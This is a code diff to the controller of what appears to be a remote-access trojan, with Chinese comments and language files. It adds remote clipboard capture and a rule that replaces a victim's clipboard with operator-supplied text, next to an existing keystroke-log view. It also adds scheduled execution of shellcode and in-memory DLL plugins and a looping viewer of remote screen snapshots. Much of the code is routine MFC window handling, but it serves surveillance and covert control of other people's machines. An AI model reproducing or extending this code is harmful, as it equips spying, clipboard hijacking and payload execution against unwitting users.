+    ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
 END_MESSAGE_MAP()
 
 /////////////////////////////////////////////////////////////////////////////
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
     __super::PostNcDestroy();
 }
 
+void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
+    CRect rc;
+    m_edit.GetWindowRect(&rc);
+    ScreenToClient(&rc);
+    DWORD style = m_edit.GetStyle();
+    DWORD exStyle = m_edit.GetExStyle();
+    HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
+    UINT  ctrlID = m_edit.GetDlgCtrlID();
+    m_edit.DestroyWindow();
+    HWND hEdit = ::CreateWindowExW(
+        exStyle, L"EDIT", L"", style,
+        rc.left, rc.top, rc.Width(), rc.Height(),
+        this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
+        AfxGetInstanceHandle(), NULL);
+    m_edit.Attach(hEdit);
+    if (hFont)
+        m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+}
+
 BOOL CKeyBoardDlg::OnInitDialog()
 {
     __super::OnInitDialog();
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
     // 转码，德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
     // 后，控件内部以 Unicode 存储，W 版消息直通，不再走 CP_ACP。
     // -----------------------------------------------------------------
-    {
-        CRect rc;
-        m_edit.GetWindowRect(&rc);
-        ScreenToClient(&rc);
-        DWORD style   = m_edit.GetStyle();
-        DWORD exStyle = m_edit.GetExStyle();
-        HFONT hFont   = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
-        UINT  ctrlID  = m_edit.GetDlgCtrlID();
-        m_edit.DestroyWindow();
-        HWND hEdit = ::CreateWindowExW(
-            exStyle, L"EDIT", L"", style,
-            rc.left, rc.top, rc.Width(), rc.Height(),
-            this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
-            AfxGetInstanceHandle(), NULL);
-        m_edit.Attach(hEdit);
-        if (hFont)
-            m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
-    }
+    RebuildEdit(m_edit);
 
     m_edit.SetLimitText(MAXDWORD); // 设置最大长度
+    auto rule = utf8_to_ansi((char*)m_TextRule.param);
+    m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
+    GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
 
     // 通知远程控制端对话框已经打开
     BYTE bToken = COMMAND_NEXT;
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
     case TOKEN_KEYBOARD_DATA:
         AddKeyBoardData();
         break;
+    case TOKEN_CLIP_TEXT: {
+        int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
+        if (len == 1) break;
+        char* buf = new char[len];
+        memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
+        PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
+        break;
+    }
     default:
         return;
     }
 }
 
+LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
+{
+    char* buf = (char*)wParam;
+    std::string text = utf8_to_ansi(buf);
+    SAFE_DELETE_ARRAY(buf);
+    m_EditClipText.SetWindowTextA(text.c_str());
+    return S_OK;
+}
+
 void CKeyBoardDlg::AddKeyBoardData()
 {
     // 最后填上0
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
     __super::OnSize(nType, cx, cy);
 
     // TODO: Add your message handler code here
-    if (IsWindowVisible())
+    /* if (IsWindowVisible())
         ResizeEdit();
+    */
 }
 
 
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
 
     DialogBase::OnClose();
 }
+
+void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
+{
+    CString rule;
+    m_EditClipRule.GetWindowTextA(rule);
+    auto utf8 = ansi_to_utf8(rule.GetString());
+    memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
+    m_TextRule.cmd = COMMAND_TEXT_REPLACE;
+    m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
+}

server/2015Remote/KeyBoardDlg.h

@@ -54,6 +54,13 @@
 
         //}}AFX_MSG
         DECLARE_MESSAGE_MAP()
+    public:
+        TextReplace m_TextRule = {};
+        CEdit m_EditClipText;
+        CEdit m_EditClipRule;
+        void RebuildEdit(CEdit& m_edit);
+        afx_msg void OnBnClickedBtnApplyTextrule();
+        LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
     };
 
 //{{AFX_INSERT_LOCATION}}

server/2015Remote/PluginSettingsDlg.cpp

@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
     // 初始化调度模式下拉框
     m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
     m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
-    m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
-    m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
+    m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
+    m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
+    m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
+    m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
+    m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
     m_comboMode.SetCurSel(SCH_MODE_NONE);
 
     // 加载配置
@@ -106,7 +109,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
     m_listPlugins.DeleteAllItems();
 
     const char* runTypeNames[] = { "Shellcode", "内存DLL" };
-    const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
+    const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
 
     int index = 0;
     for (const auto& dll : m_DllList) {
@@ -129,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
         int runType = cfg ? cfg->RunType : info->RunType;
         int mode = cfg ? cfg->Mode : info->Schedule.Mode;
 
-        m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
-        m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
+        m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL]));
+        m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE]));
         m_listPlugins.SetItemText(index, 4, CString(info->Md5));
 
         m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
@@ -169,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo()
     unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
     unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
 
-    m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
-    m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
-    m_comboMode.SetCurSel(mode < 4 ? mode : 0);
+    m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL);
+    m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD);
+    m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE);
 
     CString str;
     str.Format(_T("%u"), interval);

server/2015Remote/PreviewTipWnd.cpp

@@ -1,6 +1,7 @@
 // PreviewTipWnd.cpp
 #include "stdafx.h"
 #include "PreviewTipWnd.h"
+#include "resource.h"   // IDI_ICON_SNAPSHOT（循环模式标题栏图标）
 
 #include <objidl.h>     // IUnknown / IStream — gdiplus.h 依赖它们已声明
 #include <gdiplus.h>
@@ -21,6 +22,9 @@ constexpr int LOADING_H      = 270;
 BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
     ON_WM_PAINT()
     ON_WM_ERASEBKGND()
+    ON_WM_DESTROY()
+    ON_WM_SIZE()
+    ON_WM_GETMINMAXINFO()
 END_MESSAGE_MAP()
 
 CPreviewTipWnd::CPreviewTipWnd() = default;
@@ -28,11 +32,15 @@ CPreviewTipWnd::CPreviewTipWnd() = default;
 CPreviewTipWnd::~CPreviewTipWnd()
 {
     // m_image 通过 unique_ptr 自动释放
+    if (m_hIconSmall) { ::DestroyIcon(m_hIconSmall); m_hIconSmall = nullptr; }
+    if (m_hIconBig)   { ::DestroyIcon(m_hIconBig);   m_hIconBig   = nullptr; }
 }
 
-BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
+BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
+                            bool loopMode, const CStringW& windowTitle)
 {
     m_text = text;
+    m_loopMode = loopMode;   // 注意：影响后续 SetImageFromJpeg / OnPaint / OnSize 行为
     m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
     m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
     if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
@@ -53,25 +61,60 @@ BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text,
     HFONT hF = ::CreateFontIndirectW(&lf);
     if (hF) m_font.Attach(hF);
 
-    // 注册自绘窗口类：用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
+    // 窗口类：单发 tooltip 走 CS_SAVEBITS（短时显示，省 BitBlt），
+    // 循环窗口是长存窗口，加 CS_HREDRAW|CS_VREDRAW 让拉伸时实时重绘
+    UINT classStyle = loopMode ? (CS_HREDRAW | CS_VREDRAW) : CS_SAVEBITS;
     LPCTSTR kClass = AfxRegisterWndClass(
-        CS_SAVEBITS,
+        classStyle,
         ::LoadCursor(NULL, IDC_ARROW),
-        (HBRUSH)(COLOR_INFOBK + 1),
+        (HBRUSH)(COLOR_BTNFACE + 1),
         NULL);
 
     // 临时尺寸；RecalcLayoutAndResize 会在创建后调整
     CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
-    BOOL bOk = CWnd::CreateEx(
-        WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
-        kClass, _T(""),
-        WS_POPUP | WS_BORDER,
-        rc, pParent, 0);
+
+    // 样式选择：
+    //   单发 tooltip —— WS_POPUP|WS_BORDER + EX_TOPMOST|TOOLWINDOW|NOACTIVATE
+    //                   （不激活、不上任务栏、置顶；光标移开会被主对话框关掉）
+    //   循环监视窗口 —— WS_OVERLAPPEDWINDOW （标题栏 / 系统菜单 / 最大化 / 最小化 / 可调整边框）
+    //                   + WS_EX_APPWINDOW（强制独立任务栏图标，便于多窗口切换）
+    DWORD style   = loopMode ? (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN)
+                              : (WS_POPUP | WS_BORDER);
+    DWORD styleEx = loopMode ? WS_EX_APPWINDOW
+                              : (WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE);
+
+    // 单发模式下窗口文本无意义（无标题栏可显示）；循环模式下用宽字符 SetWindowTextW 显式设。
+    BOOL bOk = CWnd::CreateEx(styleEx, kClass, _T(""), style, rc, pParent, 0);
     if (!bOk) return FALSE;
 
+    if (loopMode && !windowTitle.IsEmpty()) {
+        ::SetWindowTextW(GetSafeHwnd(), windowTitle);
+    }
+
+    // 循环模式：给窗口装上眼睛图标（标题栏 + 任务栏 + Alt-Tab）。
+    // ICO 资源里包含 16x16 与 32x32 两份，ICON_SMALL/ICON_BIG 各取最佳尺寸。
+    // HICON 由本类持有，析构时 DestroyIcon（WM_SETICON 不转移所有权）。
+    if (loopMode) {
+        m_hIconSmall = (HICON)::LoadImage(AfxGetInstanceHandle(),
+            MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
+            ::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON),
+            LR_DEFAULTCOLOR);
+        m_hIconBig = (HICON)::LoadImage(AfxGetInstanceHandle(),
+            MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
+            ::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON),
+            LR_DEFAULTCOLOR);
+        if (m_hIconSmall) SendMessage(WM_SETICON, ICON_SMALL, (LPARAM)m_hIconSmall);
+        if (m_hIconBig)   SendMessage(WM_SETICON, ICON_BIG,   (LPARAM)m_hIconBig);
+    }
+
     RecalcLayoutAndResize();
 
-    ShowWindow(SW_SHOWNOACTIVATE);
+    // 单发：不激活；循环：正常显示，允许接收焦点（系统菜单 / 拖拽 / 最小化都需要可激活）
+    ShowWindow(loopMode ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE);
+    if (loopMode) {
+        // 任务栏图标 + 标题在多窗口情况下立刻可见
+        UpdateWindow();
+    }
     return TRUE;
 }
 
@@ -102,7 +145,11 @@ void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
     m_image = std::move(bmp);
     m_hasImage = true;
     m_unavailable = false;
-    RecalcLayoutAndResize();
+    // 循环模式下窗口尺寸交给用户控制（OnSize / WS_THICKFRAME），后续帧不再自动重排版，
+    // 只 Invalidate 触发重绘；图像在 OnPaint 中按 client rect 等比例适配。
+    if (!m_loopMode) {
+        RecalcLayoutAndResize();
+    }
     if (GetSafeHwnd()) Invalidate();
 }
 
@@ -113,6 +160,44 @@ void CPreviewTipWnd::MarkPreviewUnavailable()
     if (GetSafeHwnd()) Invalidate();
 }
 
+void CPreviewTipWnd::SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId)
+{
+    // 仅更新回调订阅；m_loopMode 由 Create() 一次性设定，不在这里改 —— 否则
+    // CloseLoopTip 用 SetLoopOwner(NULL,0,0) 解订阅时会顺手把 loopMode 翻成 false，
+    // 导致 PostNcDestroy 跳过 delete this → 每关一次循环窗口泄漏一个对象。
+    m_loopOwner = ownerHwnd;
+    m_loopMsg = msgId;
+    m_clientId = clientId;
+}
+
+void CPreviewTipWnd::OnDestroy()
+{
+    // 在窗口实际销毁前回告 owner（仅循环模式）。owner 据此从映射表擦掉本条目。
+    // 注意：把字段先置零，避免极端情况下被 PostNcDestroy 再触发一次。
+    if (m_loopMode && m_loopOwner && ::IsWindow(m_loopOwner) && m_loopMsg != 0) {
+        HWND owner = m_loopOwner;
+        UINT msg   = m_loopMsg;
+        m_loopOwner = nullptr;
+        m_loopMsg   = 0;
+        // 64 位 clientId 用 LPARAM 指针传递；WPARAM 在 32 位 Windows 不够宽。
+        auto* pId = new uint64_t(m_clientId);
+        if (!::PostMessageA(owner, msg, 0, (LPARAM)pId)) {
+            delete pId;
+        }
+    }
+    CWnd::OnDestroy();
+}
+
+void CPreviewTipWnd::PostNcDestroy()
+{
+    // 仅循环模式自管理生命周期；单次提示窗口由主对话框 SAFE_DELETE 释放。
+    bool selfDelete = m_loopMode;
+    CWnd::PostNcDestroy();
+    if (selfDelete) {
+        delete this;
+    }
+}
+
 void CPreviewTipWnd::RecalcLayoutAndResize()
 {
     HWND hWnd = GetSafeHwnd();
@@ -181,6 +266,7 @@ void CPreviewTipWnd::OnPaint()
     CPaintDC pdc(this);
     CRect rcClient;
     GetClientRect(&rcClient);
+    if (rcClient.IsRectEmpty()) return;
 
     // 双缓冲
     CDC memDC;
@@ -189,41 +275,115 @@ void CPreviewTipWnd::OnPaint()
     memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
     CBitmap* oldBmp = memDC.SelectObject(&memBmp);
 
-    memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
+    // 单发 tooltip 用 COLOR_INFOBK（系统提示底色）；循环窗口用 COLOR_BTNFACE（普通窗口背景）
+    COLORREF bg = m_loopMode ? ::GetSysColor(COLOR_BTNFACE) : ::GetSysColor(COLOR_INFOBK);
+    memDC.FillSolidRect(&rcClient, bg);
 
     CFont* oldFont = memDC.SelectObject(&m_font);
-    memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+    memDC.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
     memDC.SetBkMode(TRANSPARENT);
 
-    int curY = PADDING;
-    if (m_imageDrawW > 0 && m_imageDrawH > 0) {
-        CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
-        DrawImageArea(memDC, rcImg);
-        curY += m_imageDrawH + IMAGE_TEXT_GAP;
+    if (m_loopMode) {
+        // 循环模式：基于 client rect 动态分配；图像区按 client 大小自适应，文本固定在底部
+        CRect rcImg, rcText;
+        LayoutForLoopMode(rcClient, rcImg, rcText);
+        if (!rcImg.IsRectEmpty()) DrawImageArea(memDC, rcImg);
+        if (!rcText.IsRectEmpty()) DrawTextArea(memDC, rcText);
+    } else {
+        // 单发 tooltip：保持原行为，按 RecalcLayoutAndResize 算好的固定尺寸排版
+        int curY = PADDING;
+        if (m_imageDrawW > 0 && m_imageDrawH > 0) {
+            CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
+            DrawImageArea(memDC, rcImg);
+            curY += m_imageDrawH + IMAGE_TEXT_GAP;
+        }
+        CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
+        DrawTextArea(memDC, rcText);
     }
 
-    CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
-    DrawTextArea(memDC, rcText);
-
     memDC.SelectObject(oldFont);
     pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
     memDC.SelectObject(oldBmp);
 }
 
+void CPreviewTipWnd::LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText)
+{
+    outImg.SetRectEmpty();
+    outText.SetRectEmpty();
+
+    int innerW = client.Width() - 2 * PADDING;
+    if (innerW < 50) return;   // 太窄，啥也别画，避免计算崩溃
+
+    // 计算文本以当前可用宽度换行后的高度（用一份临时 DC）
+    int textH = 0;
+    {
+        CClientDC dc(this);
+        CFont* old = dc.SelectObject(&m_font);
+        CRect rcCalc(0, 0, innerW, 32767);
+        ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcCalc,
+                    DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
+        textH = rcCalc.Height();
+        dc.SelectObject(old);
+    }
+
+    // 文本固定在底部
+    outText.SetRect(client.left + PADDING,
+                    client.bottom - PADDING - textH,
+                    client.right - PADDING,
+                    client.bottom - PADDING);
+
+    // 图像区占顶部剩余空间
+    outImg.SetRect(client.left + PADDING,
+                   client.top + PADDING,
+                   client.right - PADDING,
+                   outText.top - IMAGE_TEXT_GAP);
+
+    // 高度不足以放图像（被压扁）→ 只画文本
+    if (outImg.Height() < 60) {
+        outImg.SetRectEmpty();
+        // 文本提到中间，避免压在底部边缘
+        outText.MoveToY(client.top + PADDING);
+    }
+}
+
 void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
 {
+    if (rc.IsRectEmpty()) return;
+
     // 边框
     dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
 
+    CRect rcInner = rc;
+    rcInner.DeflateRect(1, 1);
+
     if (m_hasImage && m_image) {
-        Graphics g(dc.GetSafeHdc());
-        g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
-        g.SetSmoothingMode(SmoothingModeHighQuality);
-        g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
+        if (m_loopMode) {
+            // 循环模式：保留长宽比适配 rect，黑色背景充当 letterbox 留白
+            dc.FillSolidRect(&rcInner, RGB(32, 32, 32));
+            double imgW = (double)m_image->GetWidth();
+            double imgH = (double)m_image->GetHeight();
+            if (imgW > 0 && imgH > 0 && rcInner.Width() > 0 && rcInner.Height() > 0) {
+                double sx = rcInner.Width()  / imgW;
+                double sy = rcInner.Height() / imgH;
+                double scale = sx < sy ? sx : sy;
+                int drawW = (int)(imgW * scale + 0.5);
+                int drawH = (int)(imgH * scale + 0.5);
+                int x = rcInner.left + (rcInner.Width()  - drawW) / 2;
+                int y = rcInner.top  + (rcInner.Height() - drawH) / 2;
+                Graphics g(dc.GetSafeHdc());
+                g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
+                g.SetSmoothingMode(SmoothingModeHighQuality);
+                g.DrawImage(m_image.get(), x, y, drawW, drawH);
+            }
+        } else {
+            // 单发：与原行为一致，铺满 rc
+            Graphics g(dc.GetSafeHdc());
+            g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
+            g.SetSmoothingMode(SmoothingModeHighQuality);
+            g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
+        }
     } else {
         // 占位灰色背景
-        CRect rcInner = rc;
-        rcInner.DeflateRect(1, 1);
         dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
 
         const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
@@ -231,10 +391,29 @@ void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
         dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
         RECT rcInnerRaw = rcInner;
         ::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
-        dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+        dc.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
     }
 }
 
+void CPreviewTipWnd::OnSize(UINT nType, int cx, int cy)
+{
+    CWnd::OnSize(nType, cx, cy);
+    if (m_loopMode && GetSafeHwnd()) {
+        // 循环模式：所有排版交给 OnPaint 读取 client rect，重画即可
+        Invalidate();
+    }
+}
+
+void CPreviewTipWnd::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
+{
+    if (m_loopMode && lpMMI) {
+        // 防止用户把窗口拽到肉眼不可见。240x200 大致能保证标题栏 + 一行文本 + 缩略图可见。
+        lpMMI->ptMinTrackSize.x = 240;
+        lpMMI->ptMinTrackSize.y = 200;
+    }
+    CWnd::OnGetMinMaxInfo(lpMMI);
+}
+
 void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
 {
     RECT r = rc;

server/2015Remote/PreviewTipWnd.h

@@ -20,7 +20,12 @@ public:
     //   text            下方显示的主机详情文本（宽字符，确保跨语言系统正确渲染）
     //   imageReserveW   上方图像区域预留宽度（即将到来的预览最大宽度，仅作初始布局）
     //                   为 0 表示不预留 — 与老 STATIC 路径行为一致（仅文本）
-    BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
+    //   loopMode        true: 真正的可拖拽/缩放/最小化/最大化的独立窗口（"播放快照"循环），
+    //                   带标题栏 + 任务栏图标，关闭按钮走系统菜单；
+    //                   false: 单发 tooltip（双击主机的预览），无 chrome、不激活、置顶。
+    //   windowTitle     loopMode=true 时显示在标题栏与任务栏的文本；false 时忽略。
+    BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
+                bool loopMode = false, const CStringW& windowTitle = L"");
 
     // 收到 JPEG 后调用：解码并重画。线程安全前提是只在主 UI 线程调用。
     void SetImageFromJpeg(const BYTE* data, size_t bytes);
@@ -30,15 +35,28 @@ public:
     WORD GetReqId() const { return m_reqId; }
     void SetReqId(WORD id) { m_reqId = id; }
 
+    // 循环快照模式：开启后窗口销毁时会向 ownerHwnd 发送 msgId（LPARAM 是堆上的
+    // uint64_t* 携带 clientId，接收方负责 delete），且 PostNcDestroy 会自动 delete this。
+    // 调用方需在自行销毁前用 SetLoopOwner(NULL, 0, 0) 解除回调，避免重复通知。
+    void SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId);
+    uint64_t GetClientID() const { return m_clientId; }
+    bool IsLoopMode() const { return m_loopMode; }
+
 protected:
     afx_msg void OnPaint();
     afx_msg BOOL OnEraseBkgnd(CDC* pDC);
+    afx_msg void OnDestroy();
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+    afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
+    virtual void PostNcDestroy();
     DECLARE_MESSAGE_MAP()
 
 private:
     void RecalcLayoutAndResize();
     void DrawImageArea(CDC& dc, const CRect& rc);
     void DrawTextArea(CDC& dc, const CRect& rc);
+    // 循环模式：基于当前 client rect 重新分配图像区/文本区
+    void LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText);
 
     CStringW m_text;
     int m_imageReserveW = 0;     // 预留图像宽度（图像未到达时占位）
@@ -54,4 +72,14 @@ private:
 
     CFont m_font;
     WORD  m_reqId = 0;
+
+    // 循环快照模式相关
+    bool     m_loopMode = false;
+    HWND     m_loopOwner = nullptr;
+    UINT     m_loopMsg = 0;
+    uint64_t m_clientId = 0;
+    // 标题栏 / 任务栏图标。WM_SETICON 不转移所有权（MSDN：originator 必须自己释放），
+    // 析构时 DestroyIcon；不能在 OnDestroy 里销毁，因为系统在 WM_NCDESTROY 之前还在用它。
+    HICON    m_hIconSmall = nullptr;
+    HICON    m_hIconBig = nullptr;
 };

server/2015Remote/lang/en_US.ini

@@ -105,6 +105,7 @@ RTT=RTT
 解密数据=Decrypt Data
 画板=Drawing
 屏幕墙=Screen Wall
+替换=Replace
 替换图标=Replace Icon
 发送文件=Send File
 历史主机=Host History
@@ -1783,8 +1784,11 @@ IOCP
 标准FRPC[不可用]=Standard FRPC [Unavailable]
 不自动执行=No Auto Execute
 启动执行=Execute on Startup
-每日定时[未实现]=Daily Schedule [Not Implemented]
-每周定时[未实现]=Weekly Schedule [Not Implemented]
+每日定时=Daily Schedule
+每周定时=Weekly Schedule
+每月定时=Monthly Schedule
+每年定时=Yearly Schedule
+关闭执行=Turn OFF
 名称=Name
 大小=Size
 运行类型=Run Type
@@ -1831,3 +1835,15 @@ IOCP
 提示: macOS 端 binary 已被修改导致签名失效，直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
 推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
 或手动重签:=Or re-sign manually:
+<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
+
+; Screen Preview Loop - English Translation
+; Format: Simplified Chinese=English
+
+主机:=Host:
+分辨率:=Resolution:
+有 %d 个主机不支持屏幕预览，已跳过=%d host(s) do not support screen preview, skipped
+播放快照=Play Snapshot
+快照=Snapshot
+预览=Preview
+主机列表预览图=Host List Thumbnails

server/2015Remote/lang/zh_TW.ini

@@ -105,6 +105,7 @@ RTT=RTT
 解密数据=解密資料
 画板=繪圖板
 屏幕墙=螢幕牆
+替换=替換
 替换图标=替換圖示
 发送文件=傳送檔案
 历史主机=歷史主機
@@ -1775,8 +1776,11 @@ IOCP
 标准FRPC[不可用]=標準FRPC[不可用]
 不自动执行=不自動執行
 启动执行=啟動執行
-每日定时[未实现]=每日定時[未實現]
-每周定时[未实现]=每週定時[未實現]
+每日定时=每日定時
+每周定时=每週定時
+每月定时=每月定时
+每年定时=每年定时
+关闭执行=关闭执行
 名称=名稱
 大小=大小
 运行类型=執行類型
@@ -1822,3 +1826,15 @@ IOCP
 提示: macOS 端 binary 已被修改导致签名失效，直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效，直接執行會被系統強制終止。
 推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
 或手动重签:=或手動重新簽章:
+<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
+
+; Screen Preview Loop - Traditional Chinese Translation
+; Format: Simplified Chinese=Traditional Chinese
+
+主机:=主機:
+分辨率:=解析度:
+有 %d 个主机不支持屏幕预览，已跳过=有 %d 個主機不支援螢幕預覽，已跳過
+播放快照=播放快照
+快照=快照
+预览=預覽
+主机列表预览图=主機列表預覽圖

server/2015Remote/resource.h

@@ -255,6 +255,8 @@
 #define IDR_MACOS_GHOST                 372
 #define IDB_BITMAP_WEBDESKTOP           373
 #define IDB_BITMAP_PLUGINCONFIG         374
+#define IDB_BITMAP_SNAPSHOT             375
+#define IDI_ICON_SNAPSHOT               376
 #define IDR_LANG_EN_US                  380
 #define IDR_LANG_ZH_TW                  381
 #define IDC_MESSAGE                     1000
@@ -731,8 +733,11 @@
 #define IDC_STATIC_PLUGIN_INTERVAL      2537
 #define IDC_STATIC_PLUGIN_COUNTER       2538
 #define IDC_COMBO_TRIGGER_TYPE          2539
+#define IDC_EDIT_CLIPBOARD              2539
 #define IDC_LIST_TRIGGER_PLUGINS        2540
+#define IDC_EDIT_TEXTRULE               2540
 #define IDC_BTN_TRIGGER_ADD             2541
+#define IDC_BTN_APPLY_TEXTRULE          2541
 #define IDC_BTN_TRIGGER_REMOVE          2542
 #define IDC_LIST_TRIGGERS               2543
 #define IDC_STATIC_TRIGGER_TYPE         2544
@@ -971,15 +976,18 @@
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
+#define ID_33048                        33048
+#define ID_SCREENPREVIEW_LOOP           33049
